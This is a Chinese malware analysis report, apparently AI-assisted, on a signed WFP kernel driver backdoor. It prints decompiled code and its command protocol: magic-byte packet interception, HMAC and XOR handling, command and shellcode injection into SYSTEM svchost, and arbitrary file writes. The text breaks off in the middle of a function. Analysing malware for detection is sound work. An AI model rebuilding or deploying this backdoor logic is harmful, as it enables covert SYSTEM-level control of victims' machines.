【AI】wskmon.sys — WHQL 签名 WFP 内核驻留网络后门分析报告

wskmon.sys — WHQL 签名 WFP 内核驻留网络后门分析报告

参考来源: Anatomy of a WHQL-Signed Windows Filtering Platform (WFP) Kernel-Resident Network Backdoor — Pierre-Henri Pezier, Nextron Systems, 2026-06-26

分析对象: 495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979.sys
分析工具: IDA Pro 9.x (via ida-multi-mcp)
分析日期: 2026-06-30
分析方法: 全函数反编译 + 函数/全局变量重命名 + 关键逻辑注释。所有结论均以反编译结果作为佐证,不做臆造。


1. 样本元信息

字段
文件名 (内部) wskmon.sys
架构 x64 (kernel-mode driver)
ImageBase 0x140000000
ImageSize 0xA000
MD5 26251ac33d9adc6c935c9edbd9dba7af
SHA-256 495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979
编译时间戳 0x69D10C8F → Sat Apr 4 06:05:19 2026 UTC
签名主体 (CN) 深圳市奥联信息安全技术有限公司
首次 VT 提交 2026-06-15 03:55:33 UTC (来源: 中国)
段布局 .text 0x3000 / fothk 0x1000 / .idata 0x1C0 / .rdata 0xE40 / .data 0x1000 / .pdata 0x1000 / INIT 0x1000
函数总数 53 (重命名前已命名 5 个,本次重命名 21 个)

关键导入 (佐证后门能力):

  • fwpkclnt.sys: FwpsCalloutRegister1, FwpmFilterAdd0, FwpmCalloutAdd0, FwpmSubLayerAdd0, FwpsCopyStreamDataToBuffer0, FwpmEngineOpen0 ...
  • cng.sys: BCryptOpenAlgorithmProvider, BCryptCreateHash, BCryptHashData, BCryptFinishHash (HMAC-SHA256)
  • ntoskrnl.exe: ZwCreateFile/ZwWriteFile (任意文件落盘), ZwAllocateVirtualMemory (RWX 注入), KeStackAttachProcess/PsLookupProcessByProcessId/PsGetProcessPeb (跨进程), ZwOpenProcess/RtlCreateUserThread 解析, PsReferencePrimaryToken/SeQueryInformationToken (SID 校验)

2. 总体架构

整个后门是一个 .sys 单文件,加载后没有任何用户态代理、没有 IOCTL 接口、没有注入 DLL。后门的全部攻击面是 WFP 流层 callout,攻击指令通过 TCP 流量送入:

TCP 包 (入站)
   │
   ▼
  WFP stream callout (classifyFn_1400013A0)
   │  检测 magic "\x7FNTF" / 或 POST body 中的 magic
   │  解析协议头 [magic][cmd_type][HMAC-SHA256(32B)][BE payload_len(4B)]
   │  分配 IoWorkItem + 缓冲区,复制完整 NTF 报文
   ▼
  IoQueueWorkItem -> WorkerRoutine (DelayedWorkQueue)
   │  ① VerifyHmacSha256 (cmd_type || encrypted_payload, key=g_HmacSha256Key)
   │  ② XOR 旋转解密 (key=g_XorCipherTable, 32 字节循环)
   │  ③ 按 cmd_type 分发:
   │      1 → ExecuteShellCmdInSvchost   (注入 svchost, WinExec "cmd.exe /c ...")
   │      2 → WriteFileFromKernel         (任意路径覆写/创建文件)
   │      3 → ExecuteShellcodeInSvchost   (RWX 内存 + 远程线程执行 shellcode)
   ▼
  释放缓冲区 + ExReleaseRundownProtection

classifyFn 返回 actionType = 0x1001 (FWP_ACTION_FLAG_CALLOUT_TERMINATING) 并清除 FWPS_RIGHT_ACTION_WRITE,意味着该段 TCP 数据被静默吞掉,用户态监听服务 (例如 Python http.server) 永远不会看到这些字节。这是文章中"Python HTTP 服务对此一无所知"的根因。


3. 函数重命名一览

本次分析在 IDA 数据库中重命名了 21 个函数与 17 个全局变量,并添加了关键注释。下表汇总 (按地址排序):

地址 原名 新名 说明
0x140001000 sub_140001000 DriverIrpStub 所有 IRP 的 no-op 处理函数
0x140001030 DriverEntry DriverEntry 已命名 (未改)
0x1400011C0 sub_1400011C0 DriverUnloadRoutine 驱动卸载例程
0x140001210 WorkerRoutine WorkerRoutine 已命名 (未改)
0x1400013A0 classifyFn_1400013A0 classifyFn_1400013A0 已命名 (未改)
0x140001880 notifyFn_140001880 notifyFn_140001880 已命名 (未改)
0x140001890 sub_140001890 WfpRegisterStreamCallout 注册 WFP callout/sublayer/filter
0x140001B20 sub_140001B20 WfpUnregisterCallout 反注册 WFP 资源
0x140001BA0 sub_140001BA0 OpenSha256Provider 打开 SHA256-HMAC 算法提供者
0x140001BC0 sub_140001BC0 CloseSha256Provider 关闭算法提供者
0x140001BF0 sub_140001BF0 VerifyHmacSha256 验证 32 字节 HMAC-SHA256 标签
0x140001D50 sub_140001D50 ResolveRtlCreateUserThread 解析线程创建函数地址
0x140001E10 sub_140001E10 ExecuteShellCmdInSvchost Type 1: 命令执行
0x140002040 sub_140002040 ExecuteShellcodeInSvchost Type 3: shellcode 执行
0x1400021B0 sub_1400021B0 FindModuleByUnicodeName 通过 PEB Ldr 查找模块
0x1400022C0 sub_1400022C0 FindExportByName 解析 PE 导出表查函数
0x1400023D0 sub_1400023D0 FindSystemSvchostProcess 查找 SYSTEM svchost.exe
0x1400025F0 sub_1400025F0 CreateRemoteThreadInProcess 远程线程创建 (RtlCreateUserThread / ZwCreateThreadEx)
0x140002770 sub_140002770 ResolveZwCreateThreadEx 解析 ZwCreateThreadEx 系统调用
0x1400027F0 sub_1400027F0 WriteFileFromKernel Type 2: 任意文件写入
0x140002B80 sub_140002B80 memcpy_simd SSE/SIMD 加速 memcpy
0x140003040 sub_140003040 memset_aligned SSE 加速 memset
0x140003180 sub_140003180 memset_large 大块 memset 分支
0x1400031C0 sub_1400031C0 memset_aligned_v2 memset 副本
0x140004010 sub_140004010 memset_thunk 跳转到 memset 实现

重命名的全局变量

地址 原名 新名 内容
0x1400053F0 stru_1400053F0 g_SubLayerKey SubLayer GUID (手工构造)
0x140005400 key g_CalloutKey Callout GUID
0x140005410 xmmword_140005410 g_FilterKey Filter GUID
0x140005420 xmmword_140005420 g_LayerKey Layer GUID (stream 层)
0x140005470 xor_table_140005470 g_XorCipherTable 32B XOR 旋转密钥
0x140005558 byte_140005558 g_HmacSha256Key 32B HMAC-SHA256 密钥
0x140006040 (unnamed) __security_cookie 已有
0x1400060A8 byte_1400060A8 g_UnloadFlag 卸载标志
0x1400060B8 qword_1400060B8 g_KiServiceTablePtr KiServiceTable 指针
(各种) DeviceObject g_WfpDeviceObject 设备对象
(各种) RunRef g_RunRef Rundown protection
(各种) engineHandle g_EngineHandle WFP 引擎句柄
(各种) calloutId g_CalloutId Callout ID
(各种) id g_FilterId Filter ID
(各种) hAlgorithm g_hSha256Algorithm SHA256 算法句柄
(各种) RtlCreateUserThread g_pRtlCreateUserThread 函数指针
(各种) PsIsProtectedProcess g_pPsIsProtectedProcess 函数指针
(各种) ZwCreateThreadEx g_pZwCreateThreadEx 函数指针

4. 详细分析:DriverEntry 与 WFP 注册

4.1 DriverEntry (0x140001030)

驱动入口创建设备 \Device\WskMon,并将所有 27 个 IRP 主功能号全部指向 no-op 处理函数 DriverIrpStub。这是后门的标志性特征:没有任何用户态可触发的接口,整个攻击面只在 WFP 流层。

// DriverEntry: creates \Device\WskMon, all IRP dispatchers -> DriverIrpStub (no-op).
// Calls ResolveRtlCreateUserThread, OpenSha256Provider, WfpRegisterStreamCallout.
// No IOCTL/no user-mode agent.
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  NTSTATUS result, v4, v5;
  struct _DEVICE_OBJECT *v6;
  struct _UNICODE_STRING DestinationString;
  PDEVICE_OBJECT DeviceObject = 0;

  ExInitializeRundownProtection(&g_RunRef);
  RtlInitUnicodeString(&DestinationString, L"\\Device\\WskMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x12u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
  g_WfpDeviceObject = DeviceObject;

  DriverObject->DriverUnload = DriverUnloadRoutine;
  DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverIrpStub;
  DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] = DriverIrpStub;
  DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverIrpStub;
  /* ... 27 个 IRP_MJ_* 全部指向 DriverIrpStub ... */
  DriverObject->MajorFunction[IRP_MJ_PNP] = DriverIrpStub;

  v4 = ResolveRtlCreateUserThread();             // 解析线程创建函数
  if ( v4 < 0 ) goto LABEL_6;
  v5 = OpenSha256Provider();                      // 打开 HMAC-SHA256 算法
  v4 = v5;
  if ( v5 < 0 ) { LABEL_7: IoDeleteDevice(v6); return v4; }
  v4 = WfpRegisterStreamCallout(DeviceObject);   // 注册 WFP callout
  if ( v4 >= 0 )
    return 0;
  CloseSha256Provider();
LABEL_6:
  v6 = DeviceObject;
  goto LABEL_7;
}

4.2 DriverIrpStub (0x140001000) — 空的 IRP 处理

// DriverIrpStub: no-op IRP handler. Completes every IRP with STATUS_SUCCESS.
// Device has no real IOCTL/read/write surface - entire attack surface is the WFP callout.
NTSTATUS __stdcall DriverIrpStub(struct _DEVICE_OBJECT *DeviceObject, struct _IRP *Irp)
{
  Irp->IoStatus.Status = 0;
  Irp->IoStatus.Information = 0;
  IofCompleteRequest(Irp, 0);
  return 0;
}

4.3 WfpRegisterStreamCallout (0x140001890)

注册流层 callout,依次:开引擎、注册 callout、开事务、加 sublayer、加 callout 元数据、加 filter、提交事务。Filter 没有任何条件 (numFilterConditions = 0filterCondition = NULL),意味着它匹配所有入站流action.type = 0x6004 (FWP_ACTION_FLAG_TERMINATING)。

// WfpRegisterStreamCallout: FwpmEngineOpen0 -> FwpsCalloutRegister1(classifyFn, notifyFn)
// -> begin txn -> FwpmSubLayerAdd0('WskMon Sub', weight 0xFFFF)
// -> FwpmCalloutAdd0('WskMon Callout')
// -> FwpmFilterAdd0('WskMon Filter', action.type=0x6004 TERMINATING, no conditions = match all)
// -> commit.
NTSTATUS __fastcall WfpRegisterStreamCallout(void *deviceObject)
{
  FWPS_CALLOUT1 callout;
  FWPM_SUBLAYER0 subLayer;
  FWPM_CALLOUT0 v6;
  FWPM_SESSION0 session;
  FWPM_FILTER0 filter;

  memset(&session, 0, sizeof(session));
  memset(&subLayer, 0, sizeof(subLayer));
  memset(&callout, 0, sizeof(callout));
  memset(&v6, 0, sizeof(v6));
  memset_aligned((__int64)&filter, 0, 0xC8);

  session.flags = 1;                                       // FWPM_SESSION_FLAG_DYNAMIC
  result = FwpmEngineOpen0(0, 0xAu, 0, &session, &g_EngineHandle); // RPC_AUTH_IDENT_FLAG_DEFAULT
  if ( result < 0 )
    return result;

  callout.classifyFn = classifyFn_1400013A0;
  callout.notifyFn   = notifyFn_140001880;
  callout.flowDeleteFn = 0;
  callout.calloutKey = g_CalloutKey;
  v3 = FwpsCalloutRegister1(deviceObject, &callout, &g_CalloutId);
  if ( v3 >= 0 ) {
    v3 = FwpmTransactionBegin0(g_EngineHandle, 0);
    if ( v3 >= 0 ) {
      subLayer.displayData.name = L"WskMon Sub";
      subLayer.subLayerKey = g_SubLayerKey;
      subLayer.weight = 0xFFFF;
      v3 = FwpmSubLayerAdd0(g_EngineHandle, &subLayer, 0);
      if ( v3 >= 0 ) {
        v6.displayData.name = L"WskMon Callout";
        v6.calloutKey = g_CalloutKey;
        v6.applicableLayer = (GUID)g_LayerKey;
        v3 = FwpmCalloutAdd0(g_EngineHandle, &v6, 0, 0);
        if ( v3 >= 0 ) {
          filter.filterKey = (GUID)g_FilterKey;
          filter.displayData.name = L"WskMon Filter";
          filter.layerKey = (GUID)g_LayerKey;
          filter.subLayerKey = g_SubLayerKey;
          filter.weight.type = FWP_UINT8;
          filter.weight.uint8 = 0xF;
          filter.action.filterType = g_CalloutKey;
          filter.numFilterConditions = 0;           // 无条件:匹配所有流
          filter.filterCondition = 0;
          filter.action.type = 0x6004;              // FWP_ACTION_FLAG_TERMINATING
          v3 = FwpmFilterAdd0(g_EngineHandle, &filter, 0, &g_FilterId);
          if ( v3 >= 0 ) {
            v3 = FwpmTransactionCommit0(g_EngineHandle);
            if ( v3 >= 0 ) return 0;
          }
        }
      }
      FwpmTransactionAbort0(g_EngineHandle);
    }
    FwpsCalloutUnregisterById0(g_CalloutId);
    g_CalloutId = 0;
  }
  FwpmEngineClose0(g_EngineHandle);
  g_EngineHandle = 0;
  return v3;
}

4.4 WFP GUID (手工构造)

通过 get_bytes 读取内存中的 GUID 原始字节,按 GUID 结构 (Data1 LE / Data2 LE / Data3 LE / Data8 BE) 解码:

全局 地址 原始字节 解码 GUID
g_SubLayerKey 0x1400053F0 D4 C3 B2 A1 F6 E5 90 78 AB CD EF 12 34 56 78 90 {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
g_CalloutKey 0x140005400 E5 D4 C3 B2 A7 F6 01 89 BC DE F1 23 45 67 89 01 {B2C3D4E5-F6A7-8901-BCDE-F12345678901}
g_FilterKey 0x140005410 F6 E5 D4 C3 B8 A7 12 90 CD EF 12 34 56 78 90 12 {C3D4E5F6-B8A7-1290-CDEF-123456789012}
g_LayerKey 0x140005420 3C 65 89 3B 70 C1 E4 49 B1 CD E0 EE EE E1 9A 3E {3B89653C-C170-49E4-B1CD-E0EEEEE19A3E}

前三个明显是开发者手工构造的递增模式 (A1B2C3D4-E5F6-7890-...),第四个 g_LayerKey 是 stream 层的 GUID。该 callout 调用 FwpsCopyStreamDataToBuffer0 (流层专用 API),确认是 stream-layer callout。

4.5 DriverUnloadRoutine (0x1400011C0)

// DriverUnloadRoutine: g_UnloadFlag=1, WfpUnregisterCallout,
// ExWaitForRundownProtectionRelease (drain WorkerRoutine), CloseSha256Provider, IoDeleteDevice.
void __stdcall DriverUnloadRoutine(struct _DRIVER_OBJECT *DriverObject)
{
  g_UnloadFlag = 1;                                // classifyFn 见此即放行
  WfpUnregisterCallout(DriverObject);
  ExWaitForRundownProtectionRelease(&g_RunRef);    // 等待在途 WorkerRoutine 完成
  CloseSha256Provider();
  if ( g_WfpDeviceObject ) {
    IoDeleteDevice(g_WfpDeviceObject);
    g_WfpDeviceObject = 0;
  }
}

5. 详细分析:classifyFn 流检测 (0x1400013A0)

这是整个后门的核心 — 入站 TCP 流检测例程。完整反编译如下 (节选关键路径,注释为本次分析添加):

void __stdcall classifyFn_1400013A0(
        const FWPS_INCOMING_VALUES0 *inFixedValues,
        const FWPS_INCOMING_METADATA_VALUES0 *inMetaValues,
        void *layerData, ...)
{
  const FWPS_STREAM_DATA0 *v8;
  SIZE_T dataLength;
  char buffer[4];
  SIZE_T bytesCopied;
  SIZE_T NumberOfBytes;
  SIZE_T v33;
  int v34;
  PIO_WORKITEM IoWorkItem;
  __int64 v36;
  _BYTE v37[1024];
  char v38;

  if ( !layerData ) { classifyOut->actionType = 0x1002; return; }   // PERMIT (无流数据)
  v8 = *(const FWPS_STREAM_DATA0 **)layerData;
  if ( !*(_QWORD *)layerData ) { /* ... PERMIT ... */ return; }

  dataLength = v8->dataLength;
  if ( g_UnloadFlag ) { /* 卸载中:放行 */ return; }
  if ( (v8->flags & 1) == 0 ) { /* 非接收方向:放行 */ return; }

  v11 = v8->flags & 0xC;                          // 终止标志
  if ( dataLength < 4 ) {
    /* 数据不足 4 字节:请求更多 (actionType=0x2006 NEED_MORE_DATA) */
    ...
    return;
  }

  v13 = 4;
  FwpsCopyStreamDataToBuffer0(v8, buffer, 4u, &bytesCopied);   // 读首 4 字节
  if ( bytesCopied >= 4 ) {
    if ( buffer[0] == '\x7F' ) {                              // 路径 A: 裸 TCP
      if ( buffer[1] != 'N' || buffer[2] != 'T' || buffer[3] != 'F' )
        goto LABEL_58;                                        // 不是 magic,放行
      LODWORD(v13) = 0;                                       // magic 偏移=0
    } else {                                                  // 路径 B: HTTP POST 隐藏
      if ( buffer[0] != 'P' || buffer[1] != 'O' || buffer[2] != 'S' || buffer[3] != 'T' )
        goto LABEL_58;
      v16 = 0x400;
      if ( dataLength < 0x400 ) v16 = dataLength;
      FwpsCopyStreamDataToBuffer0(v8, v37, v16, &bytesCopied);  // 读最多 0x400 字节
      if ( bytesCopied <= 7 ) goto LABEL_58;
      while ( v37[v13] != '\x7F' || v37[v13+1] != 'N'
           || v37[v13+2] != 'T' || v37[v13+3] != 'F' ) {        // 在 POST body 中扫描 magic
        if ( ++v13 + 3 >= bytesCopied ) goto LABEL_58;
      }
    }

    v36 = (unsigned int)v13;                                  // magic 在流中的偏移
    v33 = (unsigned int)v13 + 0xA00029LL;                     // 流最大长度上限 ~10MB+0x29
    if ( dataLength <= v33 ) {
      v14 = v13 + 0x29;                                       // 头部总长度 = magic(4)+type(1)+HMAC(32)+len(4) = 0x29
      v15 = (unsigned int)(v13 + 0x29);
      v34 = v13 + 0x29;
      if ( dataLength < v15 ) {
        /* 头部未到齐:请求更多数据 */
        ...
        return;
      }
      PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, v14, 'mWsK');  // tag 'mWsK'
      v18 = PoolWithTag;
      if ( PoolWithTag ) {
        FwpsCopyStreamDataToBuffer0(v8, PoolWithTag, v15, &bytesCopied);  // 复制头部
        if ( bytesCopied >= v15 ) {
          v38 = v18[v36 + 4];                                 // cmd_type 字节
          if ( (unsigned __int8)(v38 - 1) <= 2u ) {           // cmd_type ∈ {1,2,3}
            // 4 字节大端 payload 长度,位于 magic+0x25..0x28
            v19 = (unsigned __int8)v18[v36 + 0x28]
                | (((unsigned __int8)v18[v36 + 0x27]
                  | (((unsigned __int8)v18[v36 + 0x26] | ((unsigned __int8)v18[v36 + 0x25] << 8)) << 8)) << 8);
            if ( v19 ) {
              v20 = 0xA00000;                                  // 默认上限 ~10MB (type 2/3)
              if ( v38 == 1 ) v20 = 0x1000;                    // type 1 上限 0x1000 = 4KB
              if ( v19 <= v20 ) {
                v21 = v19 + v13 + 0x29;                        // 整包总长度
                LODWORD(NumberOfBytes) = v21;
                if ( v21 <= v33 ) {
                  if ( dataLength < v21 ) {
                    ExFreePoolWithTag(v18, 'mWsK');
                    /* 整包未到齐:请求更多 */
                    ...
                    return;
                  }
                  if ( ExAcquireRundownProtection(&g_RunRef) ) {   // 防止卸载时悬空
                    IoWorkItem = IoAllocateWorkItem(g_WfpDeviceObject);
                    if ( IoWorkItem ) {
                      v23 = ExAllocatePoolWithTag(NonPagedPool, 0x1048u, 'mWsK');  // Context
                      if ( v23 ) {
                        v26 = ExAllocatePoolWithTag(NonPagedPool, (unsigned int)NumberOfBytes, 'mWsK');
                        NumberOfBytes = (SIZE_T)v26;
                        if ( v26 ) {
                          v33 = 0;
                          FwpsCopyStreamDataToBuffer0(v8, v26, (unsigned int)v25, &v33);  // 复制整包
                          if ( v33 >= v25 ) {
                            memset_aligned((__int64)(v23 + 9), 0, 0x103F);
                            v27 = IoWorkItem;
                            v23[8] = v38;                                       // cmd_type @ Context[0x08]
                            v28 = v36;
                            *(_QWORD *)v23 = v27;                              // IoWorkItem @ Context[0x00]
                            *(_OWORD *)(v23 + 9) = *(_OWORD *)&v18[v28 + 5];  // HMAC[0..15] @ Context[0x09]
                            v29 = *(_OWORD *)&v18[v28 + 0x15];                 // HMAC[16..31]
                            *((_QWORD *)v23 + 6) = NumberOfBytes;              // payload buf ptr @ Context[0x30]
                            *((_DWORD *)v23 + 0xE) = v34;                      // header size   @ Context[0x38]
                            *(_OWORD *)(v23 + 0x19) = v29;                     // HMAC[16..31]  @ Context[0x19]
                            *((_DWORD *)v23 + 0xF) = v19;                      // payload len   @ Context[0x3C]
                            IoQueueWorkItem(v27, WorkerRoutine, DelayedWorkQueue, v23);
                            ExFreePoolWithTag(v18, 'mWsK');
                            *((_DWORD *)layerData + 8) = 0;
                            *((_DWORD *)layerData + 4) = 0;
                            *((_QWORD *)layerData + 3) = v25;                  // 标记消费 v25 字节
                            classifyOut->rights &= ~1u;                         // 清 FWPS_RIGHT_ACTION_WRITE
                            v9 = 0x1001;                                        // FWP_ACTION_FLAG_CALLOUT_TERMINATING
                            goto LABEL_60;
                          }
                          ExFreePoolWithTag((PVOID)NumberOfBytes, 'mWsK');
                        }
                        ExFreePoolWithTag(v23, 'mWsK');
                      }
                      IoFreeWorkItem(IoWorkItem);
                    }
                    ExReleaseRundownProtection(&g_RunRef);
                  }
                }
              }
            }
          }
        }
        ExFreePoolWithTag(v18, 'mWsK');
      }
    }
  }
LABEL_58:
  v9 = 0x1002;                                                  // FWP_ACTION_PERMIT (放行)
                                                                // 注意:放行时数据正常递交给用户态
LABEL_60:
  classifyOut->actionType = v9;
}

5.1 NTF 协议格式 (反编译推断)

偏移    长度    字段
─────────────────────────────────────────────────────────────
0x00    4       Magic: 7F 4E 54 46 ("\x7FNTF")
0x04    1       cmd_type ∈ {0x01, 0x02, 0x03}
0x05    32      HMAC-SHA256 tag (覆盖 [cmd_type || encrypted_payload])
0x25    4       payload length (大端)
0x29    N       XOR-加密的 payload
─────────────────────────────────────────────────────────────
  • Magic 检测两路:
    • 路径 A: 裸 TCP,开头即 magic
    • 路径 B: HTTP POST 包体内扫描 magic (前 0x400 字节范围内)
  • payload 长度上限: cmd_type == 10x1000 (4KB);cmd_type == 2/30xA00000 (~10MB)
  • 整包上限: magic_offset + 0xA00029 字节
  • 数据消费: 匹配时返回 0x1001 (FWP_ACTION_FLAG_CALLOUT_TERMINATING) 并清 FWPS_RIGHT_ACTION_WRITE,数据被吞掉;不匹配返回 0x1002 (FWP_ACTION_PERMIT),正常放行

5.2 WorkerRoutine Context 布局 (0x1048 字节)

偏移 大小 字段 来源
0x00 8 IoWorkItem 指针 IoAllocateWorkItem
0x08 1 cmd_type v18[magic+4]
0x09 32 HMAC tag v18[magic+5..0x24]
0x29 7 (padding)
0x30 8 payload buffer 指针 第二次 ExAllocatePoolWithTag
0x38 4 header size (= magic_off + 0x29) v34
0x3C 4 payload length v19
0x40 0x1008 type 1 命令字符串 scratch WorkerRoutine 内使用

6. WorkerRoutine 命令分发 (0x140001210)

// WorkerRoutine(WorkItem, Context): worker queued by classifyFn on DelayedWorkQueue.
// Context layout (size 0x1048): [0x00]IoWorkItem, [0x08]cmd_type byte, [0x09]32B HMAC tag,
// [0x29..0x30]padding, [0x30]payload buf ptr, [0x38]header size, [0x3C]payload len,
// [0x40]0x1008B cmd scratch. Verifies HMAC, XOR-decrypts (32B cycle g_XorCipherTable),
// dispatches type 1/2/3. Frees buffers, ExReleaseRundownProtection.
void __fastcall WorkerRoutine(PDEVICE_OBJECT DeviceObject, unsigned int *Context)
{
  if ( Context ) {
    v2 = *((_QWORD *)Context + 6);                            // payload buf ptr (Context[0x30])
    if ( v2 ) {
      v4 = (char *)(v2 + Context[0xE]);                       // payload buf + header_size
                                                             //   = 指向加密 payload 起始
      if ( v4 ) {
        // 验证 HMAC: SHA256-HMAC(key=g_HmacSha256Key, [cmd_type || encrypted_payload])
        if ( VerifyHmacSha256(*((_BYTE *)Context + 8),        // cmd_type
                              (UCHAR *)v4,                    // encrypted payload
                              Context[0xF],                   // payload len
                              (const __m128i *)((char *)Context + 9)) ) {  // HMAC tag
          v5 = Context[0xF];
          if ( *((_BYTE *)Context + 8) == 1 ) {               // ==== Type 1: shell ====
            memcpy_simd((char *)Context + 0x40, v4, v5);      // 复制到 scratch
            // XOR 旋转解密 (32 字节循环)
            for ( i = 0; (unsigned int)i < v5; *v8 ^= g_XorCipherTable[v9] ) {
              v8 = (char *)Context + i + 0x40;
              v9 = i & 0x1F;
              i = (unsigned int)(i + 1);
            }
            *((_BYTE *)Context + Context[0xF] + 0x40) = 0;    // null 终止
            v10 = *((_QWORD *)Context + 6);
            if ( v10 ) {
              ExFreePoolWithTag(v10, 0x6D57734Bu);            // 释放原 payload buf
              *((_QWORD *)Context + 6) = 0;
            }
            v16 = 0;
            ExecuteShellCmdInSvchost((_BYTE *)Context + 0x40, 0, &v16);
          } else {
            // type 2/3: 原地 XOR 解密
            for ( j = 0; (unsigned int)j < v5; *v12 ^= g_XorCipherTable[v13] ) {
              v12 = &v4[j];
              v13 = j & 0x1F;
              j = (unsigned int)(j + 1);
            }
            v14 = *((_BYTE *)Context + 8);
            if ( v14 == 2 )                                   // ==== Type 2: file ====
              WriteFileFromKernel((__int64)v4, Context[0xF]);
            else if ( v14 == 3 )                              // ==== Type 3: shellcode ====
              ExecuteShellcodeInSvchost(v4, Context[0xF]);
          }
        }
      }
    }
    v15 = (void *)*((_QWORD *)Context + 6);
    if ( v15 ) {
      ExFreePoolWithTag(v15, 0x6D57734Bu);                    // tag 'mWsK'
      *((_QWORD *)Context + 6) = 0;
    }
    IoFreeWorkItem(*(PIO_WORKITEM *)Context);
    ExFreePoolWithTag(Context, 0x6D57734Bu);
    ExReleaseRundownProtection(&g_RunRef);
  }
}

关键观察:

  • HMAC 验证先于 XOR 解密 — 防止未授权指令注入
  • XOR 密钥是 32 字节固定表 g_XorCipherTable,按 index & 0x1F 循环使用
  • Tag 'mWsK' (LE 0x6D57734B) 在所有 ExAllocatePoolWithTag 调用中出现 — 强检测指标

7. 命令处理器详解

7.1 Type 0x01 — ExecuteShellCmdInSvchost (0x140001E10)

将解密后的命令字符串作为 cmd.exe /c <cmd> 注入 SYSTEM svchost.exe 执行:

// ExecuteShellCmdInSvchost(cmd_string, _, pResult): finds SYSTEM svchost.exe,
// KeStackAttachProcess, ZwAllocateVirtualMemory (PAGE_READWRITE=4),
// writes 'cmd.exe /c ' + cmd_string, KeUnstackDetachProcess,
// CreateRemoteThreadInProcess(start=WinExec resolved from kernel32.dll in svchost PEB).
// Runs as SYSTEM in Session 0 (no visible window).
__int64 __fastcall ExecuteShellCmdInSvchost(_BYTE *a1, __int64 a2, _DWORD *a3)
{
  struct _KPROCESS *v4, *v5;
  __int64 ProcessPeb, v8, v9, v10;
  unsigned __int64 v11, i;
  NTSTATUS v12;
  int v13, v18;
  _BYTE *v14;
  char v17;
  ULONG_PTR v19[2];
  struct _KAPC_STATE ApcState;
  PVOID BaseAddress;
  ULONG_PTR RegionSize;

  *a3 = 0;
  v4 = (struct _KPROCESS *)FindSystemSvchostProcess();      // 找一个 SYSTEM svchost
  v5 = v4;
  if ( !v4 )
    return 3221226021LL;                                    // STATUS_NOT_FOUND

  KeStackAttachProcess(v4, &ApcState);                      // 切换到 svchost 地址空间
  ProcessPeb = PsGetProcessPeb(v5);
  v8 = ProcessPeb;
  if ( !g_pRtlCreateUserThread )
    ResolveZwCreateThreadEx(ProcessPeb);                    // 解析 ZwCreateThreadEx (现代 Windows)

  v9 = FindModuleByUnicodeName(v8, L"kernel32.dll", 12);    // 在 svchost PEB 找 kernel32.dll
  v10 = FindExportByName(v9, "WinExec");                    // 找 WinExec 导出
  if ( v10 ) {
    // 计算命令字符串长度
    v11 = 0;
    if ( *a1 ) { do ++v11; while ( a1[v11] ); }

    RegionSize = v11 + 16;
    BaseAddress = 0;
    v12 = ZwAllocateVirtualMemory((HANDLE)-1, &BaseAddress, 0, &RegionSize,
                                   0x3000u, 4u);            // PAGE_READWRITE, MEM_RESERVE|COMMIT
    if ( v12 >= 0 ) {
      v13 = 0;
      v14 = BaseAddress;
      strcpy((char *)v19, "cmd.exe /c ");                   // 强制前缀
      do {
        v15 = v13++;
        *v14++ = *((_BYTE *)v19 + v15);
      } while ( *((_BYTE *)v19 + v13) );
      for ( i = 0; i < v11; ++v14 ) {                        // 追加用户命令
        v17 = a1[i++];
        *v14 = v17;
      }
      *v14 = 0;
      KeUnstackDetachProcess(&ApcState);
      v18 = CreateRemoteThreadInProcess(v5, v10, BaseAddress);  // Start=WinExec, Arg=BaseAddress
      if ( v18 < 0 ) {
        KeStackAttachProcess(v5, &ApcState);
        v19[0] = 0;
        ZwFreeVirtualMemory((HANDLE)-1, &BaseAddress, v19, 0x8000u);
        KeUnstackDetachProcess(&ApcState);
      }
      ObfDereferenceObject(v5);
      return (unsigned int)v18;
    }
    /* ... 失败路径 ... */
  }
  /* ... 失败路径 ... */
}

关键点:

  • 强制 cmd.exe /c 前缀 (操作者只需提供命令本身)
  • 通过 WinExec 而非 CreateProcess 启动 — 启动例程更简单
  • 运行在 Session 0 SYSTEM svchost 内,子进程没有可见窗口 (与文章描述一致)
  • 子进程父进程是 svchost.exe — 异常父子关系,文章给出的检测指标

7.2 Type 0x02 — WriteFileFromKernel (0x1400027F0)

任意路径文件覆写/创建:

// WriteFileFromKernel(payload, len): payload layout [2B BE path_len][path UTF-8][file content].
// Prepends \??\, RtlUTF8ToUnicodeN -> UTF-16 path.
// ZwCreateFile(DesiredAccess=0x40100000 GENERIC_WRITE|SYNCHRONIZE, Disposition=5 FILE_OVERWRITE_IF,
//              Options=0x20).
// ZwWriteFile writes content. Bypasses user-mode ACLs from kernel context.
NTSTATUS __fastcall WriteFileFromKernel(__int64 a1, unsigned int a2)
{
  unsigned __int16 v4;
  NTSTATUS result, v6;
  ULONG v7;
  struct _UNICODE_STRING DestinationString;
  struct _IO_STATUS_BLOCK IoStatusBlock;
  struct _OBJECT_ATTRIBUTES ObjectAttributes;
  WCHAR SourceString[2];
  WCHAR v12[288];
  ULONG v13;
  HANDLE FileHandle;

  if ( a2 < 3 )
    return 0xC000000D;                                      // STATUS_INVALID_PARAMETER

  v4 = _byteswap_ushort(*(_WORD *)a1);                       // 2B 大端路径长度
  if ( (unsigned __int16)(v4 - 1) > 0x103u )                 // 路径最长 0x104 字节
    return -1073741811;
  if ( (unsigned int)v4 + 2 > a2 )
    return 0xC000000D;

  wmemcpy(SourceString, L"\\??\\", 4);                       // 强制 \??\ 前缀 (绕过 DOS 路径)
  v13 = 0;
  if ( RtlUTF8ToUnicodeN(v12, 0x212u, &v13, (PCCH)(a1 + 2), v4) < 0 )
    return 0xC000000D;
  v12[(unsigned __int64)v13 >> 1] = 0;
  RtlInitUnicodeString(&DestinationString, SourceString);

  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 576;                          // OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
  ObjectAttributes.ObjectName = &DestinationString;
